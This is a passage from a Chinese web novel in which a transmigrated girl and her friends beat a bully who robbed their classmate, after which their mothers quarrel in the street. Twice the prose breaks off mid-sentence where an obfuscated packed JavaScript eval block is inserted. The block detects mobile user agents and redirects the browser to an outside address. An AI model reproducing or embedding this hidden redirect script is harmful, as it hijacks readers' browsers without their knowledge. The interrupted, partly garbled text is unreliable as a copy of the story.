宋溪云突然觉得心口有些酸胀,眼眶也莫名发热。 她缓了缓情绪,决定先不想那么多,反正都穿过来了,真要出什么事的话也不是她一个人能阻止的,不如好好享受当下。 —— 龙舟竞渡吸引了府城大部分人前来观看,慕萧带着陆宁几人趁此机会在街口摆摊卖签菜。 由于食客太多,已经串好的签菜显然不够,慕萧和陆宁便在摊子后面的空地处帮忙串菜。 经过这段时间的相处,陆宁对慕萧渐渐卸下了初见时的防备,两人之间也能像寻常好友那般闲聊,他问道:“慕萧,你不和你姐姐一起过端午吗?” “早晨去过了。” 慕萧向来不在意此类佳节,连过年时都是孤身一人。转世后找到了阿姐,才想起他如今还有家人在世,便去食店买了几个粽子带给阿姐。 其他姑娘一人两个,也算是慰藉思亲之情了。 陆宁见他手腕上没有戴五线绳,从怀里拿出一条,说道:“这是我妹妹编的,你若不嫌弃,就当戴着应景了。” 慕萧迟疑着接过,似乎有些不解,但好歹是一份心意,便摸索一番后戴在了手腕上。 —— 看完赛龙舟,一个上午也差不多快过去了,杜春兰等人没有立刻雇车回去,而是顺路在这边逛了逛。 城南商贸更为繁荣,店铺里的商品比城北种类更齐全也更新颖。 一行人走进一家分茶,准备先吃点粽子垫一垫。 九个人分了两桌坐,男女分开,宋溪云和楚蓉则挤在一席。 落座后,杜春兰对宋溪云说道:“云云,想吃什么自己去挑。” “好。” 楚蓉自然也是要跟着去的,两个人手拉手,去看柜台前特地为端午节张贴出来的粽子菜单。 单粽子的形状就有不少种,什么角粽、锥粽、菱粽、筒粽、笔粽…… 口味也是丰富多彩,有红豆、红枣、蜜枣、松栗、胡桃、姜、桂,甚至还有枇杷和杨梅这些水果馅。 宋溪云选了红枣和蜜枣两个口味比较保守的角粽,剩下的准备以后有机会再尝试。 家长们不用看菜单,各自挑了一个素粽和一个没吃过的口味尝尝鲜。 难得出门一趟,几个大人早就带足了铜板和碎银,准备沿街好好品尝附近的各色美食。 途经几家医馆和药铺时,宋溪云还看到了店门口张贴着端午节义诊和免费赠送“五福袋”的告示。 平时只偶尔碰到的道士和僧人也齐聚在大街小巷,或是给贫苦的人家送粽子,或是免费祈福消灾。 不管阴暗的角落藏了多少污垢,至少有人还在传递着世间的美好。 路过金明寺义捐的功德箱时,三家人都顺手投了几两碎银进去,而后继续迈步闲逛。 11. 第11章 闵承望近来与人共租一辆驴车前往书院,每日倒也能存下几个铜板,归拢后足够他在下次出玩时请大家喝一筒糖水或其他吃食。 田佑说下次可以一起去东榆河里捉鱼,他游水的技艺尚可,但捉鱼还未试过,捉鱼似乎还得拿鱼篓装着,不知杂货铺子里是否有卖。 闵承望随众人在街口处下车,背着书箱正准备前往杂货铺子。 可他才走出一段距离,迎面便撞上了某几个不怀好意的人。 …… 听说附近的瓦市里有一家签菜很受欢迎,楚蓉便带着宋溪云和田佑悄悄去吃了一次,发现味道不错后今天又忍不住偷跑了一趟。 几人以免被发现,特地绕路从别处回来。 楚蓉咬着一颗杨梅,被酸得小脸皱起还不忘到处乱看,她突然疑惑道:“咦?刚刚那个人是闵承望吗?他怎么和王有富碰到一块了?” 王有富年龄和她们差不多,但常常欺负人,被称为隔壁那块的小霸王,因此平仲巷的小孩很少和他玩。 宋溪云已经在这里生活好几个月了,对于附近的人和事也有了大概的了解,她听到那个小破孩的名字后,不由得联想起之前闵承望好几次都说自己没钱请大家吃东西,还有玩蹴鞠的时候不太自然的动作。 如果是被人欺负的话,那应该就说得通了。 宋溪云脑子里想清楚这些的时候,身体早就朝那边跑过去了,她顺手从路边的摊子上抄起一把扫帚,喊道:“叔,我先借一下!” 看宋溪云气势汹汹的架势,大叔也能猜到她要去干什么,提醒道:“拿把头打!那结实!” 刚来的妇人还不清楚情况,问道:“哪家的小孩?这不是抢东西吗?” “我侄女!拿把扫帚怎么了?” 大叔话音刚落,跟过来的楚蓉和田佑也有样学样,拿起扫帚就跑,连招呼都忘了打。 “这也是你侄子侄女?” “对啊,都是。”大叔应付完那妇人,自己还探头往巷子里瞧,可惜几个人跑远了,看不上热闹。 而在另一处巷口,路过的慕萧发现有人被欺凌时只是随意一扫,并无前去解救对方的打算。 但书箱和一身襕衫的打扮让他不禁想起自己前世的夫子。 慕家的银钱都被慕志财挥霍了个干净,自然没有余钱供慕萧姐弟俩去私塾启蒙念书。 慕萧原本不在意这些,可某次做买卖时,却偶然听到有几个商铺老板嘲笑自己胸无点墨,被他们戏弄一番也无从发觉。 从那时起,他便买了几本启蒙的书册自学,但少了夫子传道授业,结果必然不如人意,慕萧只好雇人上门授课。 寻常夫子不愿同慕萧往来,为了钱财的教书先生也不过乱讲一通。 他无意间想起平仲巷里开私塾的夫子,拜访后竟如愿找到了愿意认真授课的师长。 不过……巷子里早年间会去书院念书的似乎只有他夫子一人…… 慕萧当即回身准备过去,却发现已经有人在帮忙了。 —— 宋溪云赶到的时候,闵承望正被两个人按在地上。 书箱里的纸笔散落在周围,上面还留了好几个脚印。 某个健壮小孩背对着她,根本没注意身后传来的动静,他还在嚣张地说道:“劝你识相点,待会回家把剩下的铜板给老子!否则……” 宋溪云看准角度,直接往他背上抡了一棍。 闵承望也借机猛踢一脚,然后挣脱开另外两个人的桎梏。 王有富发出一声惨叫,没等他反应过来,宋溪云又在他身上打了好几下,最后捅向脆弱的膝盖窝。 看到“老大”挨打,旁边的两个人立马想冲过来帮忙,闵承望拦住其中一个,喊道:“小云!” 宋溪云丝毫不慌,拿着扫把往人脸上一扫,再趁机踢向他腹部。 见她动作干脆利落,闵承望深吸一口气,也握住拳头朝对方脸上挥去。 王有富跪倒在地,缓了半天后刚想爬起来,却被早有准备的宋溪云一脚踩在后背。 “什么人!你知道老子是谁吗!小心我叫我爹剁了你!” “啧。”宋溪云眉头微皱,正好楚蓉和田佑过来了,她指着地上那个躺着装死的小弟,对两人说道:“打他。” “好!”楚蓉二话不说,拿起扫把就是打,嘴里还念叨着:“让你欺负人,让你欺负人!” 田佑见自己派不上用场,果断跑到旁边帮闵承望。“闵承望,你手疼不疼啊?我来拿扫把打,你让开一下。” 等战斗结束,王有富几个人只剩在地上喊疼的份了。 以楚蓉和田佑的力道,就算是拿扫把打也不会出什么大问题,而王有富皮糙肉厚,宋溪云又控制了力道,顶多留下皮外伤疼个五天六天,不至于内出血或打出其他毛病。 宋溪云让闵承望收拾好书箱,离开时也威胁着说道:“你要是再敢欺负人,我见你一次就打一次。” 王有富捂住肚子不说话,看着人走远了才骂出口。 慕萧没有理会他们,靠在墙上将送自己东西吃的“小恩人”,和刚刚那个出手利落的小娘子联系到一起。 没想到,乖巧懂事的小丫头也有如此“凶悍”的一面。 …… 书箱和里面的东西没什么损失,抢走的铜板也拿回来了,闵承望整理好被扯乱了衣袍,向几个人郑重道谢。 楚蓉难得有些不自在,她挠挠头,说道:“哎呀,我们是朋友啊,碰到这种事肯定要帮你。我和冬瓜去送扫帚,你们先回去吧。” 小姑娘说完就扯着田佑走了,生怕闵承望再和她道谢。 “走吧。” 闵承望点点头,背好书箱跟在宋溪云身边一起走。 宋溪云问他:“这件事你和你爹娘说了吗?” “没……” “怎么不说?” 闵承望看向她,犹豫道:“我父亲一直不赞同我和书院以外的人往来,若是被他知晓我因此惹出事端,以后必定不会允许我出门。” 宋溪云懂了,所以为了继续和她们玩,只能瞒住家里。 “你又没惹祸,干坏事的是他们。”宋溪云忍不住纠正他,接着说道:“下次被欺负了记得和我们说,大家一起打回去,这种人不教训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360695|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教训就不知道天高地厚。” 现代律法都难管的事情,在古代也只能试试“以暴制暴”了。 “好!”闵承望认真地答应下来,心里忍不住有些欢喜。 父亲总让他去结交书院里的同窗,可同窗各个心思缜密,甚至书院里趋炎附势之风悄然盛行,又哪里是他这种寒门之子能攀附上的呢? 与其同他们打交道,不如和朋友们一起玩闹来得有趣。 —— 慕萧回到小院,开始清点自己手头上现有的银钱。 当初卖签菜时,香料、油、肉、菜、锅等物确实花了不少银子,但生意有起色之后早已让他挣回了本钱。 他和石松青五五分账,按如今的势头来看,估摸着再过一段时间就得找人来帮忙了。 除去赌坊的那部分,靠签菜挣来的铜板竟还不少,完全足够他和阿姐平日里的花销。 不过,这里临近平仲巷,总归会有被慕志财发现的风险,凭他和陆宁两个人自然能对付整日酗酒的赌鬼,可若是陷入闵夫子今天的境地,目前的自己确实难以摆平。 看来,还是得圈一块属于自己的地盘…… 慕萧回想起宋家小丫头的身手,朝隔壁喊道:“陆宁,来一趟。” “来了。”准备出门买晚饭的陆宁转道走进了慕萧家,他问道:“怎么了?” “我们来比划比划。” 陆宁迈出的脚步显然有些迟疑,慕萧再如何成熟稳重,从身量上来看也不过是个刚到他胸口的小孩,两个人动手的话只能叫玩闹吧? 慕萧似乎看出了他的想法,说道:“尽管来就是。” 陆宁同他一样,都是靠打架练出来的野路子,但前世地盘扩大后,慕萧特地聘请了武师来操练,身手自然有所长进。 即便现如今的他在力道和身量上不占优势,那也未必会落下风。 陆宁试着朝慕萧挥拳,却被他握住手腕,屈膝虚顶在腹部。 “凝神。”慕萧将人推开,示意他继续。 两人打了半天,陆宁发现自己居然只能勉强和慕萧打成平手,他微微喘着气,示意休战。 “你真的只有十岁?” 慕萧眼里藏着深意,他笑道:“童叟无欺。” 陆宁不免感到挫败,他抹了把额头上的汗,问道:“你上哪找的师傅?我也练练。” 他作为十六岁的少年人,居然打不过一个半大小子,说出去都丢人。 “不用找师傅,找我就成。” 虽说自当上帮主后他便很少出手,但平时也丝毫不敢懈怠,否则丢的不止是那把交椅,更是自己的性命。 …… 若是想组建势力,以他目前的人手来看显然是在说笑,不过能让慕萧信得过的只有前世陪他出生入死的兄弟。 他找出一份藏好的名单,上面写满了人名和他们的身世,都是慕萧凭借记忆慢慢补充完善的。 由于光阴的变动,慕萧并不确定大家现在是何境遇,况且如今的他尚不能服众,得仔细挑选合适的人…… 终于,指节轻敲着纸张,在暮色中发出特有的脆响。 12. 第12章 时近日暮,各家食店又迎来众多不愿在家下厨的食客。 闲汉也不能称之为“闲”了,提着食盒送往一家又一家。 后厨的灶火烧得正旺,将阵阵炊烟鼓上半空。 杜春兰把买回来的肉切好,正准备下油翻炒。 院门口突然传来一连串的骂声,似乎就在宋家门口。 她走出灶房,恰好碰到一脸疑惑的宋兴安。“这是怎么了?” “不知道,出去看看。” 宋溪云估摸着是那三个小孩恶人先告状,把家长喊过来了,否则不会这么嚣张。 她出门一看,果然是“小霸王”王有富和他娘。 那个妇人指着前面的杜春兰骂道:“好啊!就是你们家的小贱蹄子敢打我儿子?今天她要是不出来磕头赔罪,这事没完!我儿子背上青了一大块,要是出了事你们赔得起吗!没教养的赔钱货!” 杜春兰被骂得一愣,当即火烧上了头顶,也骂道:“小贱蹄子骂谁呢?狗娘养的在这瞎咧咧!谁看到我闺女打人了?还磕头赔罪?听戏文里唱了几句就当自己是个人物了?我呸!也不松开裤腰带看看自己是个什么东西!” 她骂完老的骂小的,道:“这小畜生壮得跟猪一样,打他我闺女还嫌手疼呢!平仲巷谁不知道我闺女身子骨弱?她能打得了人吗?” “就算打了,那点力道能算什么?还跑回家告状,我看你以后也是个躲在你老娘身后的窝囊废!没本事的绝户头!” “也就你个老妖婆把这狗东西当块宝,在外头连倾脚夫都不乐意收他!我赔?我呸!赶紧给老娘滚远点,别脏了我家的地!” “你敢骂我儿子!”那妇人作势要过来打杜春兰,王有富也一副气急了的模样。 杜春兰站在台阶上比她高一截,不等人走近,率先出脚把人踢倒在地。“骂你儿子怎么了?还想打人?” 王有富突然冲过来推了杜春兰一把,她没有防备,差点跌倒。 听见动静出门来看的邻居越来越多,人群里传来好几声“哎呦”。 宋溪云没有管其他人,从厨房摸了根结实的柴火就跑了出来,直接挥棍往王有富身上招呼。 旁边的宋兴安连忙扶住自家娘子,顺便将拿好的扫帚递给她。 细竹条扎的扫帚扎人,杜春兰掂了掂,喊道:“云云,回来。” 宋溪云动作没停,她趁机说道:“娘,他推你!还抢了我五十文钱!” 挤在人群里的楚蓉也喊道:“兰姨,他也抢了我的!” “兰姨!还有我的!”刚赶过来的田佑根本没听到她们在说什么,习惯地应和着。 那妇人起身想去护王有富,却被杜春兰一扫帚扫开。“好啊!原来是你家养的小畜生先欺负我闺女,结果倒来找我家的麻烦!” 王有富见他娘没来帮忙,自己又连连挨打还不了手,心里正窝着火,听到那几个人诬陷自己后忍不住反驳道:“我没抢!我只抢闵家的书呆子几两银子!我没抢他们的!” “哎呦,几两银子呢。”周围看热闹的人议论纷纷,没想到才半大的小子就敢抢这么多钱。 “现在抢几两,以后是不是要抢几百两,几千两啊?我看你这个小王八蛋才是没教养!”杜春兰打半天也算解气了,又挥了两扫帚才停手。 那妇人一直被打得骂不出口,现在终于能缓口气了,她立马威胁道:“你个臭卖酒的有本事别来我家铺子买肉!等着,这事没完!” 人群里有人随即回道:“诶,正好,我乡下有个表哥是杀猪匠,前两天刚说要来这边开铺子。宋娘子到时来我表哥家买肉!各位也来捧场啊!” “那感情好!我多买两斤!”杜春兰也不辜负对方好意,当即应下。 那妇人没想到会是这种情形,一时气得直咬牙,“你,你们!” 这些人从一开始就在看热闹,那婆娘打她的时候也不过来阻拦,全都向着姓宋的那家人,没一个好东西! 那妇人干脆往地上一躺,扯着嗓子哭嚎道:“哎呦,没天理了啊!我和我儿子都被打成这样了也没人来管管!我们娘俩命苦啊!” 一个见多识广的大娘说道:“她不会是想把巡卫招来吧?” 每条大街小巷都会有府衙安排的巡卫前来巡逻,若是把事情闹大,指不定得去衙门里待几天。 旁边的男子手一摆,随口道:“这个月当值的头领是我兄弟,改日请他喝酒聊上一聊。” 那妇人显然也听到了,准备喊出的话语堵在喉咙口不上不下。 杜春兰被她嚎得心烦,扬起扫帚恐吓道:“喊什么喊?还想挨打是不是?” 妇人忙从地上爬起,拽着儿子往后面躲,嘴里还不忘逞强道:“你,你给我等着!” 大家伙顺势给她让出一条道来。 热闹看完,也该让人回去了,否则等天黑还得费事点蜡烛。 王有富这会儿也知道欺软怕硬的道理了,跟在他娘身后一声不吭,灰溜溜地跑回家去。 说是看热闹,但这么多年的街坊邻居了,要是出了事,怎么说也会帮衬两把。 因此杜春兰没了刚才凶悍的气势,朝大家客气道:“改天来家里吃酒啊,灶房里菜还没下锅呢,就先不招待大家了。” “我家也还没吃饭,走走走,回家了。” “我们吃完了,再去溜达一圈。春兰啊,明天我来扯两根葱。” “好嘞,来就是。” “哎,老杨,明天给我捎两块豆腐。” “行。”杨林点头答应道。 大家伙说说笑笑,仿佛刚才那件事没有发生过,依旧像往常那般。 “早知道是打那兔崽子,我当时就应该跟过去踹两脚。”卖扫帚的男子和同行的人说道。 “小云冲过去那会儿是吧?” “对。” 虽说杜春兰话里话外都没承认宋溪云打人这件事,但当时街上那么多人,再联系起闹事的那对母子,大家多少能猜到点事情的原委。 不过王有富天天到处欺负人,被打了也是活该,自然不会有人帮对方。 …… 宋家的院门重新被关上,而此时的宋溪云还没有意识到事情的严重性。 杜春兰板着脸问道:“宋溪云,你打人了?” “打了。”宋溪云并不否认自己做过的事。 她是个灵魂成熟的个体,虽然打人这件事有冲动的成分在,但宋溪云并不觉得自己做错了,而且以她如今的身份也能应付得过来。 要是杜春兰和宋兴安因此责怪她的话,那宋溪云只能想办法脱离这个家了。 谁知道杜春兰下一句话就是——“你身体才刚好不久,那个小子那么壮,你要是伤着了怎么办?” 啊? “我,”宋溪云磕巴了一下,接着道:“我和蓉蓉他们四个人打对方三个人,不会受伤的。” “承望也打了?” “对,是他被抢钱了我们才去帮忙的。” “有没有人看见?” 宋溪云回忆着当时的场景,不确定道:“应该没有吧?” “不管有没有,咱们都咬死了你没打人,知道吗?这几天你先待在家里,那对母子要是敢再来找事,看娘怎么收拾他们。” 等杜春兰“教训”完了,宋兴安才拿着药膏给她上药。 杜春兰的手背上被那妇人刮出了几道小口子,痛倒是不痛,比对方的伤轻多了,但宋兴安还是仔细地抹了一层药膏。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360696|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石松青收摊回家时已经过了酉时,他进门一看,发现以往已经歇下的陆宁正在院子里蹲马步。 “这是在做什么?”他问道。 “练武。” “啊?” 陆宁不愿宣扬自己打不过一个十岁小孩,还得让对方教他这件事,因此只交代慕萧要他传达的话。 “慕萧说明天我替小哑巴干活,他另外有事安排给他。” “好。”石松青不在意是谁给他帮忙,有人就行。不过,他忍不住问道:“慕萧有说什么时候把生意做大吗?” 从勉强糊口到不愁吃穿,这样的转变固然令人舒心,舒心到想再贪求一点别的东西。 “怎么了?” 石松青坦言道:“我们俩现在五五分成,生意做得越大,我能拿到的银子也越多。他要真有本事,我再攒几年就够开一家饭馆了。” 陆宁对石松青的过往不太清楚,但隐约知道他想把自己家的手艺发扬光大。 以陆宁对慕萧的了解,他建议道:“你可以去和他商议,慕萧的野心肯定远不止这一小片地方。” 石松青也这样觉得,因此他一大早就去慕萧家上门问了。 慕萧擦了把脸,说道:“扩大生意是迟早的事,只不过目前人手不足,得再过一阵。还是说,你有人选?” “有啊!大哥,我有个师兄,已经出师的手艺,人也不错,就是吧,”石松青凑到慕萧跟前,讨好地笑道:“他性子直,得罪了一些人,日子也不太好过。” “他得罪了谁?” 石松青不确定慕萧知道后还会不会愿意收留师兄,支支吾吾说了几个官职和名字。 慕萧没听过那些名字,从官职来看也不过是些上不得台面的小官,石松青他们年纪轻,不免会被唬住。 他思虑片刻,答应道:“你让他过来试试。” “好!多谢大哥!” 石松青迈着松快的步伐和陆宁一起出摊,一看便知事情成了。 “你那个师兄现在怎么样了?” “他啊?在一家饭馆当厨子呢,比我之前好点,有住的地方。不过他阿奶年纪大了,他想多挣些银钱,好把老人家接过来。” 若非两人关系好,师兄也清楚利弊,否则石松青不会轻易邀人过来。 …… 小哑巴局促地踏进这座又大又干净的院子,他因为要给松青哥帮忙,已经从头到脚都擦洗过,但还是觉得自己不应该来这种地方。 慕萧带着小哑巴到堂屋坐下,他没有准备待客的东西,只好泡一杯清茶给小孩喝。 他不太会和普通小孩相处,尝试着询问道:“最近过得怎么样?” 小哑巴点点头,他感激地看向慕萧,怕不能传达出自己的心意,还学着僧人那样朝他双手合十。 靠着帮忙得来的工钱,已经足够小哑巴和弟弟妹妹们填饱肚子了,能吃饱还有地方住,这是他以前在梦里才能过上的好日子。 “我有件事情需要你帮忙,会很累,你愿意做吗?” 小哑巴迟疑了一会,最后还是点头答应了。 陆宁哥和松青哥都愿意给这个哥哥帮忙,那应该不是什么坏事。 慕萧对小哑巴的态度很满意,果然是陆宁带出来的孩子,比较像他。 “那好,不过天天叫你小哑巴也不好听,我帮你取个名字怎么样?” 小哑巴呆呆地望着他,心底隐隐透露出期盼。自己不会说话,也不会写字,别人都有名字,只有他,小哑巴小哑巴被叫个不停。 可别人的名字是父母或长辈取的,他哪里有呢? “不如就叫……” 他记得哑巴少年当时是叫—— “归舟。”